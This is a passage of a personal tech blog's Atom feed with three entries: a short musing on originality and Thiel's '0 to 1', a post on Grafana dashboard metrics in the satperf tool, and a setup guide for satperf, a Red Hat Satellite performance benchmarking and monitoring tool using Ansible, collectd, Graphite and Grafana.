    <summary>Disclaimer: This isn’t an insinuating attempt at the way of lives. It’s just another musing. A true hypocrite (who accepts the fact) and a faux hypocrite (try swapping the terms liar, genius, psycho, erudite, ..) may…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;p&gt;Disclaimer: This isn&amp;#8217;t an insinuating attempt at the way of lives. It&amp;#8217;s just another musing.&lt;/p&gt;
&lt;p&gt;A true hypocrite (who accepts the fact) and a faux hypocrite (try swapping the terms liar, genius, psycho, erudite, ..) may invariably define one&amp;#8217;s character and attitude towards a problem. Cognizance of the concepts and related tools is a great thing, while not possessing the know-how and still being able to define the problem and proposing a few good solutions, is what I perceive as creativity (the generic notion). Getting to know existing solutions and eventually building upon them is great, but that &amp;#8211; &lt;a href=&quot;http://zerotoonebook.com/&quot; target=&quot;_blank&quot;&gt;0 to 1&lt;/a&gt; &amp;#8211; is what counts as discovery and invention. And that is the key to assessing one&amp;#8217;s approach and the element of intuition.  That 0 to 1 is what gets you the early beginner&amp;#8217;s advantage.&lt;/p&gt;
&lt;div data-shortcode=&quot;caption&quot; id=&quot;attachment_224855&quot; style=&quot;width: 648px&quot; class=&quot;wp-caption aligncenter&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2016/10/zero-to-one-by-peter-thiel-resume-of-book-graphs-2-638.jpg&quot; alt=&quot;zero-to-one-by-peter-thiel-resume-of-book-graphs-2-638&quot; width=&quot;638&quot; height=&quot;479&quot; class=&quot; size-full wp-image-224855 aligncenter&quot; aria-describedby=&quot;caption-attachment-224855&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;p id=&quot;caption-attachment-224855&quot; class=&quot;wp-caption-text&quot;&gt;from Peter Thiel&amp;#8217;s 0 to 1&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;One prides on mastery in techniques discovered by others [like getting industrial grade certifications and/or being the &amp;#8220;Lead XYZ&amp;#8221; of something]. Good or bad experiences attach a sense of fulfillment or achievement. We get better as conversation starters because of that experience and even better at concluding them. Let&amp;#8217;s not digress about the metaphysical notions like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;#8220;What does success mean to you?&amp;#8221; or&lt;/li&gt;
&lt;li&gt;&amp;#8220;Why does that sense of self-fulfillment make you feel better?&amp;#8221; or&lt;/li&gt;
&lt;li&gt;&amp;#8220;Why making you feel better makes your surroundings look pleasant? &amp;#8221; or&lt;/li&gt;
&lt;li&gt;&amp;#8220;Why pleasant surroundings make the world a better place?  (assuming that in an ideal world, there&amp;#8217;s no such thing as &amp;#8216;the 7 sins&amp;#8217;)&amp;#8221; or&lt;/li&gt;
&lt;li&gt;&amp;#8220;Why do you wanna make the world a better place?&amp;#8221; or&lt;/li&gt;
&lt;li&gt;&amp;#8220;What would making the world a better place mean to you?&amp;#8221;  or&lt;/li&gt;
&lt;li&gt;&amp;#8220;Why does a better world, meaning a better place to live in, make you feel happy?&amp;#8221; or&lt;/li&gt;
&lt;li&gt;&amp;#8220;Why is being happy good for people? (when one doesn&amp;#8217;t know what it is exactly, and that it&amp;#8217;s only experienced when one has been sad once)&amp;#8221;.&lt;/li&gt;
&lt;li&gt;&amp;#8230; Let&amp;#8217;s not do that?&lt;/li&gt;
&lt;li&gt;Let&amp;#8217;s not ask ourselves any of that? Because that&amp;#8217;s a waste of time?&lt;/li&gt;
&lt;li&gt;Let&amp;#8217;s not talk about our chances of *succeeding in life* when we don&amp;#8217;t even know what that means?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Instead, let&amp;#8217;s talk straight to the point. IOT, DevOps, Data Science, Deep Learning and so on. All these buzzwords are called buzzwords for a reason. They have captured the imagination of most of today&amp;#8217;s professional and academic world. People looking for a new start or to further academic indulgence, are immediately attracted to the latest and the greatest. Of course this is how normally humanity progresses in the world of science and technology.&lt;/p&gt;
&lt;p&gt;The moment someone switches to either of these domains, they&amp;#8217;re surrounded by an assemblage of entropy from social media and specific forums / mailing lists. They start going with the flow immediately, discovering mentors amongst public opinions. Somewhere down the road, they start observing other like-minded peers, with whom they now interact frequently, because they found &amp;#8220;common interests&amp;#8221; and &amp;#8220;common buzzwords&amp;#8221; aligned with each other&amp;#8217;s school of thought. They feel connected and if not, they go to meetups, hackathons and conferences to find more like-minded candidates. I&amp;#8217;m talking about geeks here, leave out all the rest!&lt;/p&gt;
&lt;p&gt;While they&amp;#8217;re involved in their cutting-edge efforts to bestow upon humanity, productization of millions of discussions/ideas over the days, months and years, I believe they somehow loose track of their original line of thoughts, given there ever was one. But what&amp;#8217;s wrong with that? They&amp;#8217;re eventually building something better, right? Sure, you may know (after engaging in geekery) how that distributed file system works, sure you now know about that straw2 algorithm that was a clever addition for the new block storage industrial solution. But would you have felt better if it were you who developed the very first version of that technique or explored that uncharted avenue which is now a widely known &amp;#8216;phenomenon&amp;#8217;? I figured as much.&lt;/p&gt;
&lt;p&gt;Maybe take this post as a reminder of the point made? It is, to me 🙂&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>Monitoring in Satperf: metrics collection</title>
    <link href="https://arcolife.in/blog/2016/10/05/monitoring-in-satperf-metrics-collection/"/>
    <id>https://arcolife.in/blog/2016/10/05/monitoring-in-satperf-metrics-collection/</id>
    <published>2016-10-05T12:51:42.000Z</published>
    <updated>2016-10-05T12:51:42.000Z</updated>
    <category term="RHEL"/>
    <category term="Satellite"/>
    <category term="Linux"/>
    <category term="Performance"/>
    <category term="Monitoring"/>
    <category term="OS"/>
    <summary>Satperf utilizes a visualization framework called Grafana, to present graphs. Metrics Collected An explanation of how the following metrics are placed in the satperf monitoring dashboard, is described in the 'Grafana…</summary>
    <content type="html">&lt;p&gt;Satperf utilizes a visualization framework called Grafana, to present graphs.&lt;/p&gt;
&lt;h3 id=&quot;metrics-collected&quot;&gt;Metrics Collected&lt;/h3&gt;
&lt;p&gt;An explanation of how the following metrics are placed in the satperf monitoring dashboard, is described in the &lt;a href=&quot;#overview&quot;&gt;‘Grafana Dashboard’&lt;/a&gt; section. If you wanna copy these metrics, refer to &lt;a href=&quot;#references&quot;&gt;this file [2] in references&lt;/a&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;ul&gt;
&lt;li&gt;The panels that &lt;a href=&quot;https://www.github.com/redhat-performance/satperf&quot;&gt;satperf&lt;/a&gt; monitoring module provides:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/collectd/process_panels.png&quot; alt=&quot;Figure 1&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The metrics that &lt;a href=&quot;https://www.github.com/redhat-performance/satperf&quot;&gt;satperf&lt;/a&gt; monitoring module collects for processes:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/collectd/process_metrics.png&quot; alt=&quot;Figure 1&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;overview&quot;&gt;Overview&lt;h3 id=&quot;overview&quot;&gt;&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;The Grafana dashboard is divided into rows and each row has either a single or multiple panels.
Each of those panels query specific metrics. Here’s how those metrics in the template &lt;a href=&quot;#references&quot;&gt;[1]&lt;/a&gt; are grouped:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Grafana variable templating&lt;/li&gt;
&lt;li&gt;Rows &amp;gt; Panels &amp;gt; Queries&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The rows are named as following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/grafana/rows.png&quot; alt=&quot;Figure 1&quot;&gt;&lt;/p&gt;
&lt;p&gt;A sample “CPU ALL” row with all panels:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/grafana/rows_panels.png&quot; alt=&quot;Figure 2&quot;&gt;&lt;/p&gt;
&lt;p&gt;On clicking edit in one of the panels in that row, we get the metric query frame, like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/grafana/panel_edit.png&quot; alt=&quot;Figure 3&quot;&gt;&lt;/p&gt;
&lt;p&gt;The templating &lt;code&gt;$Cloud&lt;/code&gt;, &lt;code&gt;$Node&lt;/code&gt; etc.. are included at the top of the dashboard, like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/grafana/templating.png&quot; alt=&quot;Figure 4&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;references&quot;&gt;&lt;/a&gt;
&lt;h3 id=&quot;grafana-dashboard&quot;&gt;Grafana Dashboard&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Satperf Dashboard template &lt;a href=&quot;https://github.com/redhat-performance/satperf/blob/master/playbooks/monitoring/roles/dashboard-generic/templates/satellite6_general_system_performance.json.j2&quot;&gt;can be obtained here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Variables replaced in that template &lt;a href=&quot;https://github.com/redhat-performance/satperf/blob/master/playbooks/monitoring/roles/dashboard-generic/vars/main.yml&quot;&gt;are in this file&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;satperf-dashboard-templating-explained&quot;&gt;Satperf Dashboard templating explained&lt;h3 id=&quot;templating&quot;&gt;&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;So in the jinja template &lt;a href=&quot;#references&quot;&gt;[1]&lt;/a&gt;, we have multiple “title”(s) under “rows” section and variables from &lt;a href=&quot;#references&quot;&gt;[2]&lt;/a&gt; are replaced inside the template as illustrated in following piece of that jinja template:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{# Loop over per-process options here #}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    {% for metrics in per_process_metrics %}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;collapse&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;editable&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;height&quot;: &quot;200px&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        &quot;panels&quot;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      {% for panel in per_process_panels[item.process_list_name] %}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Additionally, &lt;code&gt;&quot;title&quot;: &quot;CPU All&quot;&lt;/code&gt; in the dashboard template &lt;a href=&quot;#references&quot;&gt;[1]&lt;/a&gt; refers to one row of the dashboard.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Note: This post is a spin off from the main satperf project.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To take a look at how &lt;a href=&quot;https://www.github.com/redhat-performance/satperf&quot;&gt;satperf&lt;/a&gt; works, &lt;a href=&quot;http://arcolife.github.io/blog/2016/08/22/satperf-a-satellite-performance-benchmarking-and-automation-tool/&quot;&gt;refer to this post&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;To learn how to setup monitoring for the parameters covered in this post, &lt;a href=&quot;http://arcolife.github.io/blog/2016/08/22/setting-up-collectd-plugins-for-red-hat-satellite-with-graphite-and-grafana/&quot;&gt;refer to this post&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <title>satperf: A Satellite Performance benchmarking and automation tool</title>
    <link href="https://arcolife.in/blog/2016/08/22/satperf-a-satellite-performance-benchmarking-and-automation-tool/"/>
    <id>https://arcolife.in/blog/2016/08/22/satperf-a-satellite-performance-benchmarking-and-automation-tool/</id>
    <published>2016-08-22T12:48:16.000Z</published>
    <updated>2016-08-22T12:48:16.000Z</updated>
    <category term="RHEL"/>
    <category term="Satellite"/>
    <category term="Linux"/>
    <category term="Performance"/>
    <category term="Monitoring"/>
    <category term="Red Hat Satellte"/>
    <category term="OS"/>
    <summary>1. Intro Satperf (link) is a Red Hat Satellite Performance Benchmarking &amp; Automation tool that makes it super easy to quickly setup your own environment with satellite components and start running workloads. It uses…</summary>
    <content type="html">&lt;h3 id=&quot;1-intro&quot;&gt;1. Intro&lt;/h3&gt;
&lt;p&gt;Satperf (&lt;a href=&quot;github.com/redhat-performance/satperf&quot;&gt;link&lt;/a&gt;) is a &lt;a href=&quot;https://access.redhat.com/products/red-hat-satellite&quot;&gt;Red Hat Satellite&lt;/a&gt; Performance Benchmarking &amp;amp; Automation tool that makes it super easy to quickly setup your own environment with satellite components and start running workloads. It uses ansible playbooks to manage remote execution and has built-in modules for various roles that Satellite Web UI has to offer. These are carried out with the use of hammer commands (&lt;a href=&quot;https://access.redhat.com/documentation/en/red-hat-satellite/6.2/paged/hammer-cli-guide/chapter-1-introduction-to-hammer&quot;&gt;read more on Hammer&lt;/a&gt;) as an equivalent of Satellite API.&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;Briefly, it does the following activities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Satellite installation and monitoring&lt;/li&gt;
&lt;li&gt;uploads manifest, updates repo&lt;/li&gt;
&lt;li&gt;concurrently syncs multiple Repositories from Repo Server&lt;/li&gt;
&lt;li&gt;creates lifecycle environments&lt;/li&gt;
&lt;li&gt;creates capsules&lt;/li&gt;
&lt;li&gt;concurrently syncronizes multiple capsules&lt;/li&gt;
&lt;li&gt;..etc&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Satperf runs modules through ansible playbooks, briefly described below under ’Ansible Playbooks in Satperf` section.&lt;/p&gt;
&lt;h3 id=&quot;2-satperf-setup&quot;&gt;2. Satperf setup&lt;/h3&gt;
&lt;p&gt;This is to get the satellite installation + monitoring tools up and running.&lt;/p&gt;
&lt;p&gt;Although there’s a README included with the project, let’s briefly go through steps needed and get an install up and running.&lt;/p&gt;
&lt;p&gt;It isn’t packaged right now, so first, clone &lt;a href=&quot;https://www.github.com/redhat-performance/satperf&quot;&gt;this satperf repo&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;2a-prerequisites&quot;&gt;2.a. PREREQUISITES&lt;/h4&gt;
&lt;p&gt;From project root, run: &lt;code&gt;$ source ./setup&lt;/code&gt;, follow the output and act accordingly (install packages / activate virtualenv).&lt;/p&gt;
&lt;p&gt;Ensure that satperf help command succeeds: &lt;code&gt;$ ./satperf.py -h&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://arcolife.in/images/satperf/help_menu.png&quot; alt=&quot;Figure 1&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;2b-configuration&quot;&gt;2.b CONFIGURATION&lt;/h4&gt;
&lt;p&gt;The above step should get the setup ready for configurations. Now, configure following files in the manner illustrated:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Add configurations specific to Ansible&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;code-title&quot;&gt;conf/ansible.cfg&lt;/div&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;ini&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt;log_path&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt; = ~/ansible.log&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt;private_key_file&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt; = ~/.ssh/id_rsa_perf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Add [FQDN / hostnames / IP Addresses] for your installation.
Follow the ansible inventory file pattern, as shown by sample contents of this file.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;code-title&quot;&gt;conf/hosts.ini&lt;/div&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;ini&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;[capsules]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;x.x.x.x &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;[satellite6]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;x.x.x.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;[graphite]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;x.x.x.x&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;[grafana]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;x.x.x.x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;code&gt;conf/satperf.conf&lt;/code&gt;: Add configurations specific to satperf.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&quot;code-title&quot;&gt;conf/satperf.conf&lt;/div&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;ini&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;[Settings]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt;hosts&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt; = conf/hosts.ini&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D;--shiki-dark:#768390&quot;&gt;# satperf log file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt;log_file&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt; = log/satperf.log&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D;--shiki-dark:#768390&quot;&gt;# Logfile size in Bytes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt;log_file_size&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt; = 10000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;[Monitoring]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D;--shiki-dark:#768390&quot;&gt;# for collectd multi/single-host installations one/all of satellite6:capsules&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D;--shiki-dark:#768390&quot;&gt;# hosts = satellite6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt;hosts&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt; = satellite6:capsules&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For now, leave the sections &lt;code&gt;[RHN], [Satellite], [Pbench]&lt;/code&gt; untouched.
In this post, we’re only configuring satellite monitering module of satperf.&lt;/p&gt;
&lt;h4 id=&quot;2c-satellite-installation&quot;&gt;2.c SATELLITE INSTALLATION&lt;/h4&gt;
&lt;p&gt;If you already have the satellite setup running, skip below to ‘MONITORING INSTALLATION’.&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;$ ./satperf.py -s&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You’d be asked the following, press [Enter] or type ‘n’ to skip, if the component’s already installed, or you don’t want it.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; =======&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt;Installing&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; Satellite..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;Continue&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt; (y/n)&lt;/span&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;: &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; =======&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt;Installing&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; Capsules..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;Continue&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt; (y/n)&lt;/span&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;: &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ignore any other components shown in menu, if so.&lt;/p&gt;
&lt;p&gt;Although we’ve tested this internally and it works, but since this is currently WIP, take a look at logs if something fails, or feel free to &lt;a href=&quot;https://github.com/redhat-performance/satperf/issues&quot;&gt;open an issue upstream&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;2c-monitoring-installation&quot;&gt;2.c MONITORING INSTALLATION&lt;/h4&gt;
&lt;p&gt;Run &lt;code&gt;$ ./satperf.py -m&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;You’d be asked the following, press [Enter] or type ‘n’ to skip, if the component’s already installed, or you don’t want it.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-dimmed&quot; style=&quot;background-color:#fff;--shiki-dark-bg:#22272e;color:#24292e;--shiki-dark:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; =======&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt;Installing&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; Collectd..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;Continue&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt; (y/n)&lt;/span&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;: &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; =======&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt;Installing&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; Graphite..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;Continue&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt; (y/n)&lt;/span&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;: &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; =======&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;&amp;gt; &lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt;Installing&lt;/span&gt;&lt;span style=&quot;color:#032F62;--shiki-dark:#96D0FF&quot;&gt; Grafana..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1;--shiki-dark:#F69D50&quot;&gt;Continue&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt; (y/n)&lt;/span&gt;&lt;span style=&quot;color:#D73A49;--shiki-dark:#F47067&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#24292E;--shiki-dark:#ADBAC7&quot;&gt;: &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Although we’ve tested this internally and it works, but since this is currently WIP, take a look at logs if something fails, or feel free to &lt;a href=&quot;https://github.com/redhat-performance/satperf/issues&quot;&gt;open an issue upstream&lt;/a&gt;.&lt;/p&gt;
&lt;h4 id=&quot;2d-final-steps-wip&quot;&gt;2.d FINAL STEPS (WIP)&lt;/h4&gt;
&lt;p&gt;Build the dashboards viewable, through Grafana, by running &lt;code&gt;$ ./satperf.py -i&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;WIP status: facing an error in this step, similar to &lt;a href=&quot;https://github.com/bayandin/webpagetest-private/issues/1&quot;&gt;this one&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;ansible-playbooks-in-satperf&quot;&gt;Ansible Playbooks in Satperf&lt;/h3&gt;
&lt;p&gt;2 major categories:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Satellite&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Setup (either AWS or normal environements)
&lt;ul&gt;
&lt;li&gt;Satellite&lt;/li&gt;
&lt;li&gt;Capsules&lt;/li&gt;
&lt;li&gt;Docker hosts (N content hosts per docker host)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
